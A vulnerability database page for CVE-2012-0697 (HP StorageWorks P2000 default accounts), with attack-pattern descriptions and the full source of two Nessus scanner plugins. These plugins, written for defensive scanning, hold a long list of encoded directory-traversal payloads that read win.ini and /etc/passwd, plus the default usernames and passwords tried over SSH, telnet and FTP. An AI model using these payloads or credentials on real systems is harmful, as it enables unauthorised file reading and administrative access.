Vulnerabilities > CVE-2012-0697 - Path Traversal vulnerability in HP Storageworks P2000 G3 MSA

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
hp
CWE-22
critical
nessus

Summary

HP StorageWorks P2000 G3 MSA array systems have a default account, which makes it easier for remote attackers to perform administrative tasks via unspecified vectors, a different vulnerability than CVE-2011-4788.

Vulnerable Configurations

Part Description Count
Application
Hp
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Nessus

  • NASL familyWeb Servers
    NASL idWEB_TRAVERSAL.NASL
    descriptionIt appears possible to read arbitrary files on the remote host outside the web server
    last seen2020-06-01
    modified2020-06-02
    plugin id10297
    published1999-11-05
    reporterThis script is Copyright (C) 1999-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/10297
    titleWeb Server Directory Traversal Arbitrary File Access
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    ##############
    # References:
    ##############
    #
    # Date: 25 Sep 2002 09:10:45 -0000
    # Message-ID: <[email protected]>
    # From: "DownBload" <[email protected]>
    # To: [email protected]
    # Subject: IIL Advisory: Reverse traversal vulnerability in Monkey (0.1.4) HTTP server
    #
    # From: "David Endler" <[email protected]>
    # To:[email protected]
    # Date: Mon, 23 Sep 2002 16:41:19 -0400
    # Subject: iDEFENSE Security Advisory 09.23.2002: Directory Traversal in Dino's Webserver
    #
    # From:"UkR security team^(TM)" <[email protected]>
    # Subject: advisory
    # To: [email protected]
    # Date: Thu, 05 Sep 2002 16:30:30 +0400
    # Message-ID: <[email protected]>
    #
    # From: "Tamer Sahin" <[email protected]>
    # To: [email protected]
    # Subject: Web Server 4D/eCommerce 3.5.3 Directory Traversal Vulnerability
    # Date: Tue, 15 Jan 2002 00:36:26 +0200
    # Affiliation: http://www.securityoffice.net
    #
    # From: "Alex Forkosh" <[email protected]>
    # To: [email protected]
    # Subject: Viewing arbitrary file from the file system using Eshare Expressions 4 server
    # Date: Tue, 5 Feb 2002 00:18:42 -0600
    #
    
    include("compat.inc");
    
    if (description)
    {
     script_id(10297);
     script_version("1.124");
     script_cvs_date("Date: 2018/09/17 21:46:53");
    
     script_cve_id(
      "CVE-2000-0920",
      "CVE-2007-6483",
      "CVE-2008-5315",
      "CVE-2010-1571",
      "CVE-2010-3459",
      "CVE-2010-3460",
      "CVE-2010-3487",
      "CVE-2010-3488",
      "CVE-2010-3743",
      "CVE-2010-4181",
      "CVE-2011-1900",
      "CVE-2011-2524",
      "CVE-2011-4788",
      "CVE-2012-0697",
      "CVE-2012-1464",
      "CVE-2012-5100",
      "CVE-2012-5335",
      "CVE-2012-5344",
      "CVE-2012-5641",
      "CVE-2013-2619",
      "CVE-2013-3304",
      "CVE-2014-3744"
     );
     script_bugtraq_id(
      1770,
      7308,
      7362,
      7378,
      7544,
      7715,
      26583,
      32412,
      40053,
      40133,
      40680,
      43230,
      43258,
      43356,
      43358,
      43830,
      44393,
      44564,
      44586,
      45599,
      45603,
      47760,
      47842,
      47987,
      48114,
      48926,
      51286,
      51311,
      51399,
      52327,
      52384,
      52541,
      56871,
      57143,
      57313,
      58794,
      67389,
      70760
     );
     script_xref(name:"EDB-ID", value:"24915");
     script_xref(name:"EDB-ID", value:"33428");
     script_xref(name:"EDB-ID", value:"35056");
    
     script_name(english:"Web Server Directory Traversal Arbitrary File Access");
     script_summary(english:"Tries to retrieve file outside document directory");
    
     script_set_attribute(attribute:"synopsis", value:
    "The remote web server is affected by a directory traversal
    vulnerability.");
     script_set_attribute(attribute:"description", value:
    "It appears possible to read arbitrary files on the remote host outside
    the web server's document directory using a specially crafted URL.  An
    unauthenticated attacker may be able to exploit this issue to access
    sensitive information to aide in subsequent attacks.
    
    Note that this plugin is not limited to testing for known
    vulnerabilities in a specific set of web servers. Instead, it attempts
    a variety of generic directory traversal attacks and considers a
    product to be vulnerable simply if it finds evidence of the contents
    of '/etc/passwd' or a Windows 'win.ini' file in the response. It may,
    in fact, uncover 'new' issues, that have yet to be reported to the
    product's vendor.");
     script_set_attribute(attribute:"solution", value:
    "Contact the vendor for an update, use a different product, or disable
    the service altogether.");
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
     script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
     script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-0697");
     script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
     script_set_attribute(attribute:"exploit_available", value:"true");
     script_set_attribute(attribute:"exploited_by_malware", value:"true");
     script_cwe_id(22);
    script_set_attribute(attribute:"plugin_publication_date", value:"1999/11/05");
     script_set_attribute(attribute:"plugin_type", value:"remote");
     script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
    
     script_category(ACT_ATTACK);
     script_copyright(english:"This script is Copyright (C) 1999-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
     script_family(english:"Web Servers");
    
     script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl", "httpver.nasl");
     script_require_ports("Services/www", 80);
     exit(0);
    }
    
    #
    # The script code starts here
    #
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("data_protection.inc");
    
    port = get_http_port(default:80, embedded:TRUE);
    
    i=0;
    r[i++] = '/' + mult_str(str:'../', nb:12) + 'windows/win.ini';
    r[i++] = '/' + mult_str(str:'../', nb:12) + 'winnt/win.ini';
    r[i++] =       mult_str(str:'../', nb:12) + 'windows/win.ini';
    r[i++] =       mult_str(str:'../', nb:12) + 'winnt/win.ini';
    r[i++] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini';
    r[i++] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini';
    r[i++] = '/..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini';
    r[i++] = '/..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini';
    r[i++] = '/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini';
    r[i++] = '/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwinnt%5cwin.ini';
    r[i++] = '/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin%2eini';
    r[i++] = '/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwinnt%5cwin%2eini';
    r[i++] = '/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini';
    r[i++] = '/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwinnt%2fwin.ini';
    r[i++] = '/.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./windows/win.ini';
    r[i++] = '/.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./winnt/win.ini';
    r[i++] = '/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini';
    r[i++] = '/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini';
    r[i++] = '/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\windows\\win.ini';
    r[i++] = '/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\winnt\\win.ini';
    r[i++] = '/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini';
    r[i++] = '%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini';
    r[i++] = '/.../.../.../.../.../.../.../.../.../windows/win.ini';
    r[i++] = '/.../.../.../.../.../.../.../.../.../winnt/win.ini';
    r[i++] = '/...\\...\\...\\...\\...\\...\\...\\...\\...\\windows\\win.ini';
    r[i++] = '/...\\...\\...\\...\\...\\...\\...\\...\\...\\winnt\\win.ini';
    r[i++] = '/..../..../..../..../..../..../..../..../..../windows/win.ini';
    r[i++] = '/..../..../..../..../..../..../..../..../..../winnt/win.ini';
    r[i++] = '/....\\....\\....\\....\\....\\....\\....\\....\\....\\windows\\win.ini';
    r[i++] = '/....\\....\\....\\....\\....\\....\\....\\....\\....\\winnt\\win.ini';
    r[i++] = '/././././././../../../../../windows/win.ini';
    r[i++] = '/././././././../../../../../winnt/win.ini';
    r[i++] = '.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/windows/win.ini';
    r[i++] = '.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/winnt/win.ini';
    r[i++] = '/nessus\\..\\..\\..\\..\\..\\..\\windows\\win.ini';
    r[i++] = '/nessus\\..\\..\\..\\..\\..\\..\\winnt\\win.ini';
    r[i++] = '/%80../%80../%80../%80../%80../%80../windows/win.ini';
    r[i++] = '/%80../%80../%80../%80../%80../%80../winnt/win.ini';
    r[i++] = '/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./windows/win.ini';
    r[i++] = '/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./winnt/win.ini';
    r[i++] = '/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/windows/win.ini';
    r[i++] = '/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/winnt/win.ini';
    r[i++] = mult_str(str:"/%uff0e%uff0e", nb:12) + '/windows/win.ini';
    r[i++] = mult_str(str:"/%uff0e%uff0e", nb:12) + '/winnt/win.ini';
    # Some web servers badly parse args under the form /path/file?arg=../../
    r[i++] = '/scripts/fake.cgi?arg=/dir/../../../../../../../../../../../windows/win.ini';
    r[i++] = '/scripts/fake.cgi?arg=/dir/../../../../../../../../../../../winnt/win.ini';
    r[i++] = '/scripts/fake.cgi?arg=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini';
    r[i++] = '/scripts/fake.cgi?arg=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini';
    r[i++] = 0;
    
    contents = "";
    info = "";
    
    for (i=0; r[i]; i++)
    {
      url = r[i];
      if (check_win_dir_trav(port: port, url:url))
      {
        if (url[0] == '/') info += '  - ' + build_url(port: port, qs:url) + '\n';
        else info += '  - ' + url + ' *\n';
    
        if (!contents && report_verbosity > 0)
        {
          res = http_send_recv3(port: port, method: 'GET', item:url, exit_on_fail:TRUE);
          if (! isnull(res)) contents = res[2];
        }
        if (!thorough_tests) break;
      }
    }
    
    if (info)
    {
      if (report_verbosity > 0)
      {
        if (max_index(split(info)) > 1) s = "s";
        else s = "";
    
        report = '\n' +
          'Nessus was able to retrieve the remote host\'s \'win.ini\' file using the\n' +
          'following URL' + s + ' :\n' +
          '\n' +
          info;
    
        if (egrep(pattern:" \*$", string:info))
        {
          report += '\n' +
            '* Note that this requires sending an HTTP GET request without the\n' +
            '  leading forward slash to the web server at ' + build_url(port:port, qs:'/') + ',\n' +
            '  which is not supported by most web browsers.\n';
        }
    
        if (contents)
        {
          contents = data_protection::redact_etc_passwd(output:contents);
          report += '\n' +
            'Here are the contents :\n' +
            '\n' +
            crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
            chomp(contents) + '\n' +
            crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
        }
        if (!thorough_tests)
          report +=
            '\n' +
            'Note that Nessus stopped searching after one exploit was found. To\n' +
            'report all known exploits, enable the \'Perform thorough tests\'\n' +
            'setting and re-scan.\n';
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
      set_kb_item(name: strcat("www/", port, "/generic_traversal"), value: TRUE);
      exit(0);
    }
    
    i=0;
    r[i++] = '/' + mult_str(str:'../', nb:12) + 'etc/passwd';
    r[i++] =       mult_str(str:'../', nb:12) + 'etc/passwd';
    r[i++] = '//' + mult_str(str:'../', nb:12) + 'etc/passwd';
    r[i++] = mult_str(str:'/....', nb:12) + '/etc/passwd';
    r[i++] = mult_str(str:'/%2e%2e', nb:12) + '/etc/passwd';
    r[i++] = '/' + mult_str(str:'..%2f', nb:12) + 'etc/passwd';
    r[i++] =       mult_str(str:'..%2f', nb:12) + 'etc/passwd';
    r[i++] = '/' + mult_str(str:'%2e%2e%2f', nb:12) + 'etc/passwd';
    r[i++] = '/././././././../../../../../etc/passwd';
    r[i++] = mult_str(str:"/%uff0e%uff0e", nb:12) + '/etc/passwd';
    # Some web servers badly parse args under the form /path/file?arg=../../
    r[i++] = '/scripts/fake.cgi?arg=/dir/../../../../../../etc/passwd';
    r[i++] = '/scripts/fake.cgi?arg=/dir/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd';
    if (thorough_tests || report_paranoia >= 2)
    {
      # An old bug (06 Jan 2003) in CommunigatePro.  Note the *//
      r[i++] = '/DomainFiles/*//../../../../../../etc/passwd';
    }
    r[i++] = 0;
    
    contents = "";
    info = "";
    
    for (i = 0; r[i]; i++)
    {
      url = r[i];
    
      # nb: at least one web server ('st') fails to respond at all if the URL does 
      #     not have a leading slash.
      if (url[0] = '/') exit_on_fail = TRUE;
      else exit_on_fail = FALSE;
      res = http_send_recv3(port: port, method: 'GET', item:url, exit_on_fail:exit_on_fail);
      if (isnull(res)) continue;
    
      if (egrep(pattern: 'root:.*:0:[01]:', string: res[2]))
      {
        if (url[0] == '/') info += '  - ' + build_url(port: port, qs:url) + '\n';
        else info += '  - ' + url + ' *\n';
    
        if (!contents && report_verbosity > 0)
        {
          contents = res[2];
        }
        if (!thorough_tests) break;
      }
    }
    
    
    if (info)
    {
      if (report_verbosity > 0)
      {
        if (max_index(split(info)) > 1) s = "s";
        else s = "";
    
        report = '\n' +
          'Nessus was able to retrieve the remote host\'s password file using the\n' +
          'following URL' + s + ' :\n' +
          '\n' +
          info;
    
        if (egrep(pattern:" \*$", string:info))
        {
          report += '\n' +
            '* Note that this requires sending an HTTP GET request without the\n' +
            '  leading forward slash to the web server at ' + build_url(port:port, qs:'/') + ',\n' +
            '  which is not supported by most web browsers.\n';
        }
    
        if (contents)
        {
          contents = data_protection::redact_etc_passwd(output:contents);
          report += '\n' +
            'Here are the contents :\n' +
            '\n' +
            crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
            contents +
            crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
        }
        if (!thorough_tests)
          report +=
            '\n' +
            'Note that Nessus stopped searching after one exploit was found.  To\n' +
            'report all known exploits, enable the \'Perform thorough tests\'\n' +
            'setting and re-scan.\n';
    
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
      set_kb_item(name: strcat("www/", port, "/generic_traversal"), value: TRUE);
      exit(0);
    }
    
  • NASL familyGain a shell remotely
    NASL idHP_STORAGEWORKS_DEFAULT_ACCTS.NASL
    descriptionThe remote device appears to be an HP StorageWorks MSA P2000 series. One or more accounts are secured with a default password. A remote, unauthenticated attacker can exploit this to gain administrative access to the management interface.
    last seen2020-06-01
    modified2020-06-02
    plugin id51418
    published2011-01-05
    reporterThis script is Copyright (C) 2011-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/51418
    titleHP StorageWorks MSA P2000 Default Credentials
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    
    include("compat.inc");
    
    
    if (description)
    {
      script_id(51418);
      script_version("1.27");
      script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
    
      script_cve_id("CVE-2012-0697");
      script_bugtraq_id(51399);
    
      script_name(english:"HP StorageWorks MSA P2000 Default Credentials");
      script_summary(english:"Tries to login using a default account");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote device has one or more accounts that use default
    credentials.");
      script_set_attribute(attribute:"description", value:
    "The remote device appears to be an HP StorageWorks MSA P2000 series.
    One or more accounts are secured with a default password. A remote,
    unauthenticated attacker can exploit this to gain administrative
    access to the management interface.");
      script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-12-015/");
      script_set_attribute(attribute:"solution", value:"Secure all accounts with a strong password.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
      script_set_attribute(attribute:"exploit_available", value:"false");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2011/01/05");
      script_set_attribute(attribute:"plugin_publication_date", value:"2011/01/05");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/h:hp:storageworks");
      script_set_attribute(attribute:"default_account", value:"true");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"Gain a shell remotely");
    
      script_copyright(english:"This script is Copyright (C) 2011-2020 Tenable Network Security, Inc.");
    
      script_dependencies("ssh_detect.nasl", "telnet.nasl", "ftpserver_detect_type_nd_version.nasl", "DDI_FTP_Any_User_Login.nasl", "ftp_anonymous.nasl", "account_check.nasl");
      script_require_ports("Services/ssh", 22, "Services/telnet", 23, "Services/ftp", 21);
      script_exclude_keys("global_settings/supplied_logins_only");
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("ssh_func.inc");
    include("telnet_func.inc");
    include("http.inc");
    include("ftp_func.inc");
    
    
    enable_ssh_wrappers();
    
    if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);
    
    LOGIN_SUCCESS = 0;
    LOGIN_FAILED = -1;
    PORT_CLOSED = -2;
    CONNECTION_FAILED = -3;
    NO_PROMPT = -4;
    NO_RESPONSE = -5;
    
    global_var reports, errors, err_code;
    checking_default_account_dont_report = TRUE;
    
    reports = make_array();
    errors = '';
    err_code = 1;
    
    function get_error_msg(code, port)
    {
      if (code == LOGIN_FAILED)
        return 'The login attempt on port '+port+' failed.';
      else if (code == PORT_CLOSED)
        return 'Port '+port+' is not open.';
      else if (code == CONNECTION_FAILED)
        return 'Failed to open a socket on port '+port+'.';
      else if (code == NO_PROMPT)
        return 'Unable to get telnet prompt from port '+port+'.';
      else if (code == NO_RESPONSE)
        return 'The service on port '+port+' failed to respond.';
      else
        return 'Unexpected error on port '+port+'.';
    }
    
    function report_add()
    {
      local_var user, pass, port;
      user = _FCT_ANON_ARGS[0];
      pass = _FCT_ANON_ARGS[1];
      port = _FCT_ANON_ARGS[2];
    
      reports[port] +=   # global
        '\n  Username : ' + user +
        '\n  Password : ' + pass + '\n';
    
      if (!thorough_tests)
      {
        if (report_verbosity > 0)
        {
          reports[port] +=
            '\nNessus stopped after the first successful login. There may be'+
            '\nadditional accounts secured with a default password. Enable'+
            '\nthe \'Perform thorough tests\' setting and re-scan to check for all'+
            '\ndefault accounts.\n';
          security_hole(port:port, extra:reports[port]);
        }
        else
          security_hole(port);
        exit(0);
      }
    }
    
    function check_ssh(port, login, password)
    {
      local_var soc, res, line, payload, remote_channel;
      if (!get_port_state(port)) return PORT_CLOSED;
      # Prevent a FP
      if ( get_kb_item("login/auth/broken") || get_kb_item("login/unix/auth/broken" ) ) return PORT_CLOSED;
    
      _ssh_socket = open_sock_tcp(port);
      if ( !_ssh_socket ) return CONNECTION_FAILED;
    
      res = ssh_login(login:login, password:password);
    
      if (res == LOGIN_SUCCESS)
      {
        # taken from default_account.inc
        #
        # Some SSH servers do not fully respect the SSH protocol - they
        # claim that password authentication succeeded, but then
        # they'll refuse any other command. The workaround here is to
        # open a SSH, as if we wanted to create an interactive session.
        #
        # Note that we do not use ssh_open_channel() but a stripped down version
        #
        payload = putstring(buffer:"session") + raw_int32(i:1) + raw_int32(i:32768) + raw_int32(i:32768);
        send_ssh_packet(payload:payload, code:raw_int8(i:90));
        payload = recv_ssh_packet();
        if ( !isnull(payload) )
        {
          # Fix for tectia AIX
          if (ord(payload[0]) == 95)
          {
            payload = getstring(buffer:payload, pos:9);
            payload = recv_ssh_packet();
          }
          if ( !isnull(payload) && ord(payload[0]) == 91 )
          {
            remote_channel = ntol(buffer:payload, begin:5);
            payload = raw_int32(i:remote_channel) + putstring(buffer:"pty-req") + raw_int8(i:0) +
            putstring(buffer:"vt100") + raw_int32(i:80) + raw_int32(i:24) + raw_int32(i:640) + raw_int32(i:480) +
            putstring(buffer:
                                 raw_int8(i:53) + raw_int32(i:0) +
                                 raw_int8(i:72) + raw_int32(i:0) +
                                 raw_int8(i:0));
    
            # SSH_MSG_CHANNEL_REQUEST == 98
            send_ssh_packet(payload:payload, code:raw_int8(i:98));
            payload = raw_int32(i:remote_channel) + putstring(buffer:"shell") + raw_int8(i:0) ;
            # SSH_MSG_CHANNEL_REQUEST == 98
            send_ssh_packet(payload:payload, code:raw_int8(i:98));
            payload = raw_int32(i:remote_channel) + putstring(buffer:'\n');
            send_ssh_packet(payload:payload, code:raw_int8(i:94));
            payload = recv_ssh_packet();
    
            if ( !isnull(payload) && ord(payload[0]) == 94 )
            {
              payload = getstring(buffer:payload, pos:5);
              # avoid false positives, such as with Infoblox
              if (
                "Domain (? for all)" >!< payload && 
                "invalid login" >!< payload &&
                ("ogin:" >!< payload || "Last login: " >< payload) && 
                "User Name:" >!< payload &&
                "assword:" >!< payload
              )  
              {
                set_kb_blob(name:"hp_storageworks/"+port+"/payload", value:payload);
                ssh_close_connection();
                report_add(login, password, port);
                return LOGIN_SUCCESS;
              }
            }
          }
        }
      }
    
      ssh_close_connection();
    
      err_code = 0;  # we know for sure the login attempt failed
    
      # when thorough is enabled, recurse, trying 'hpinvent' (another common password)
      if (thorough_tests && password != 'hpinvent')
        return check_ssh(port:port, login:login, password:'hpinvent');
    
      return LOGIN_FAILED;
    }
    
    function check_telnet(port, login, password)
    {
      local_var soc, res, line;
      if (!get_port_state(port)) return PORT_CLOSED;
    
      soc = open_sock_tcp(port);
      if(!soc) return CONNECTION_FAILED;
    
      res = telnet_negotiate(socket:soc);
      res += recv_until(socket:soc, pattern:"login:");
      if (!res) return NO_PROMPT;
    
      send(socket:soc, data:login + '\r\n');
      res = recv_until(socket:soc, pattern:"Password:");
      if (isnull(res))
      {
        close(soc);
        return NO_RESPONSE;
      }
    
      send(socket:soc, data:password + '\r\n');
      res = recv(socket:soc, length:256);
      close(soc);
    
      if (isnull(res)) return NO_RESPONSE;
    
      if ('HP StorageWorks' >< res)
      {
        report_add(login, password, port);
        return LOGIN_SUCCESS;
      }
      else
      {
        err_code = 0;  # we know for sure the login attempt failed
    
        # when thorough is enabled, recurse, trying 'hpinvent' (another common password)
        if (thorough_tests && password != 'hpinvent')
          return check_telnet(port:port, login:login, password:'hpinvent');
        else
          return LOGIN_FAILED;
      }
    }
    
    function check_ftp(port, login, password)
    {
      local_var soc, res, line;
      if (!get_port_state(port)) return PORT_CLOSED;
    
      soc = open_sock_tcp(port);
      if(!soc) return CONNECTION_FAILED;
    
      res = ftp_authenticate(socket:soc, user:login, pass:password);
      close(soc);
    
      if (res)
      {
        report_add(login, password, port);
        return LOGIN_SUCCESS;
      }
      else
      {
        err_code = 0;  # we know for sure the login attempt failed
    
        # when thorough is enabled, recurse, trying 'hpinvent' (another common password)
        if (thorough_tests && password != 'hpinvent')
          return check_ftp(port:port, login:login, password:'hpinvent');
        else
          return LOGIN_FAILED;
      }
    }
    
    # Check if each service was detected, and fall back to the
    # well known ports by default
    ssh_port = 22;
    ssh_ports = get_kb_list('Services/ssh');
    if (!isnull(ssh_ports))
    {
      ssh_ports = make_list(ssh_ports);
      ssh_port = ssh_ports[0];
    }
    
    # in case we add the web login in one day...
    #web_port = 80;
    #web_ports = get_kb_list('Services/www');
    #if (!isnull(web_ports))
    #{
    #  foreach port (web_ports)
    #  {
    #    # There's a broken webserver that listens by default on
    #    # TCP 5989 (WBEM over HTTPS?) which we don't want to test
    #    if (!http_is_broken(port:port))
    #    {
    #      web_port = port;
    #      break;
    #    }
    #  }
    #}
    
    telnet_port = 23;
    telnet_ports = get_kb_list('Services/telnet');
    if (!isnull(telnet_ports))
    {
      telnet_ports = make_list(telnet_ports);
      telnet_port = telnet_ports[0];
    }
    
    ftp_port = 21;
    ftp_ports = get_kb_list('Services/ftp');
    if (!isnull(ftp_ports))
    {
      ftp_ports = make_list(ftp_ports);
      ftp_port = ftp_ports[0];
    }
    
    # For each subsequent login attempt, we only want to try to
    # login to services that we know are listening
    skip_ssh = FALSE;
    skip_telnet = FALSE;
    skip_ftp = FALSE;
    
    # Avoid the possibility of testing a FTP server that accepts
    # any username and password
    if (
      get_kb_item('ftp/' + ftp_port + '/broken') ||
      get_kb_item('ftp/' + ftp_port + '/backdoor') ||
      get_kb_item('ftp/' + ftp_port + '/anonymous') ||
      get_kb_item('ftp/' + ftp_port + '/AnyUser')
    )
    {
      skip_ftp = TRUE;
    }
    
    accts = make_array(
      'manage', '!manage',
      'monitor', '!monitor',
      'ftp', '!ftp'
    );
    
    # Attempt to login as each account for SSH, telnet, and FTP.
    # The plugin will try to use the same service for each login
    # attempt, and will only move on to the next service if a
    # login fails for any reason other than invalid credentials
    foreach user (keys(accts))
    {
      pass = accts[user];
    
      if (!skip_ssh)
      {
        ret = check_ssh(port:ssh_port, login:user, password:pass);
        if (ret != LOGIN_SUCCESS)
        {
          errors += get_error_msg(code:ret, port:ssh_port) + ' ';  # global
          if (ret != LOGIN_FAILED) skip_ssh = TRUE;
        }
      }
    
      if (skip_ssh && !skip_telnet)
      {
        ret = check_telnet(port:telnet_port, login:user, password:pass);
        if (ret != LOGIN_SUCCESS)
        {
          errors += get_error_msg(code:ret, port:telnet_port) + ' ';  # global
          if (ret != LOGIN_FAILED) skip_telnet = TRUE;
        }
      }
    
      if (skip_telnet && !skip_ftp)
      {
        ret = check_ftp(port:ftp_port, login:user, password:pass);
        if (ret != LOGIN_SUCCESS)
        {
          errors += get_error_msg(code:ret, port:ftp_port) + ' ';  # global
          if (ret != LOGIN_FAILED) skip_ftp = TRUE;
        }
      }
    }
    
    if (skip_ssh && skip_telnet && skip_ftp)
      errors = 'none of the services (SSH, telnet, FTP) were suitable for testing.';
    
    ports = keys(reports);
    if (max_index(ports) == 0)
      exit(err_code, 'Default logins failed due to : ' + errors);
    
    foreach port (ports)
    {
      if (report_verbosity > 0)
      {
        report = reports[port];
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
    }